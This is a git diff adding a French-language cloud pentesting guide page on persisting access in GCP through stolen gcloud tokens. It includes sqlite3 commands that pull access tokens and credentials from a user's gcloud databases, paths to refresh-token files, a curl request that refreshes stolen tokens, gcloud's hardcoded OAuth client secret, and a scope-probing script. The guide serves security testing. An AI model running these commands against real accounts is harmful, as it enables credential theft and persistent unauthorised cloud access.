diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md new file mode 100644 index 000000000..c79ee5d45 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md @@ -0,0 +1,90 @@ +# GCP - Persistance de Token + +{{#include ../../../banners/hacktricks-training.md}} + +### Tokens d'Utilisateur Authentifié + +Pour obtenir le **token actuel** d'un utilisateur, vous pouvez exécuter : +```bash +sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" +``` +Vérifiez sur cette page comment **utiliser directement ce jeton avec gcloud** : + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp +{{#endref}} + +Pour obtenir les détails pour **générer un nouveau jeton d'accès**, exécutez : +```bash +sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" +``` +Il est également possible de trouver des jetons de rafraîchissement dans **`$HOME/.config/gcloud/application_default_credentials.json`** et dans **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. + +Pour obtenir un nouveau jeton d'accès rafraîchi avec le **jeton de rafraîchissement**, l'ID client et le secret client, exécutez : +```bash +curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token +``` +La validité des jetons de rafraîchissement peut être gérée dans **Admin** > **Security** > **Google Cloud session control**, et par défaut, elle est définie sur 16h bien qu'elle puisse être réglée pour ne jamais expirer : + +
+ +### Auth flow + +Le flux d'authentification lors de l'utilisation de quelque chose comme `gcloud auth login` ouvrira une invite dans le navigateur et après avoir accepté tous les scopes, le navigateur enverra une requête comme celle-ci au port http ouvert par l'outil : +``` +/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1 +``` +Ensuite, gcloud utilisera l'état et le code avec un `client_id` codé en dur (`32555940559.apps.googleusercontent.com`) et **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) pour obtenir les **données finales du jeton de rafraîchissement**. + +> [!CAUTION] +> Notez que la communication avec localhost se fait en HTTP, il est donc possible d'intercepter les données pour obtenir un jeton de rafraîchissement, cependant ces données ne sont valides qu'une seule fois, donc cela serait inutile, il est plus facile de lire le jeton de rafraîchissement à partir du fichier. + +### OAuth Scopes + +Vous pouvez trouver tous les scopes Google sur [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ou les obtenir en exécutant : +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u +``` +Il est possible de voir quels scopes l'application que **`gcloud`** utilise pour s'authentifier peut prendre en charge avec ce script : +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do +echo -ne "Testing $scope \r" +if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then +echo "" +echo $scope +fi +done +``` +Après l'exécution, il a été vérifié que cette application prend en charge ces portées : +``` +https://www.googleapis.com/auth/appengine.admin +https://www.googleapis.com/auth/bigquery +https://www.googleapis.com/auth/cloud-platform +https://www.googleapis.com/auth/compute +https://www.googleapis.com/auth/devstorage.full_control +https://www.googleapis.com/auth/drive +https://www.googleapis.com/auth/userinfo.email +``` +il est intéressant de voir comment cette application prend en charge le **`drive`** scope, ce qui pourrait permettre à un utilisateur d'escalader de GCP à Workspace si un attaquant parvient à forcer l'utilisateur à générer un token avec ce scope. + +**Vérifiez comment** [**abuser de cela ici**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** + +### Comptes de service + +Tout comme avec les utilisateurs authentifiés, si vous parvenez à **compromettre le fichier de clé privée** d'un compte de service, vous pourrez **y accéder généralement aussi longtemps que vous le souhaitez**.\ +Cependant, si vous volez le **token OAuth** d'un compte de service, cela peut être encore plus intéressant, car, même si par défaut ces tokens ne sont utiles que pendant une heure, si la **victime supprime la clé API privée, le token OAuth restera valide jusqu'à son expiration**. + +### Métadonnées + +Évidemment, tant que vous êtes à l'intérieur d'une machine fonctionnant dans l'environnement GCP, vous pourrez **accéder au compte de service attaché à cette machine en contactant le point de terminaison des métadonnées** (notez que les tokens OAuth auxquels vous pouvez accéder à ce point de terminaison sont généralement restreints par des scopes). + +### Remédiations + +Certaines remédiations pour ces techniques sont expliquées dans [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) + +### Références + +- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1) +- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) + +{{#include ../../../banners/hacktricks-training.md}}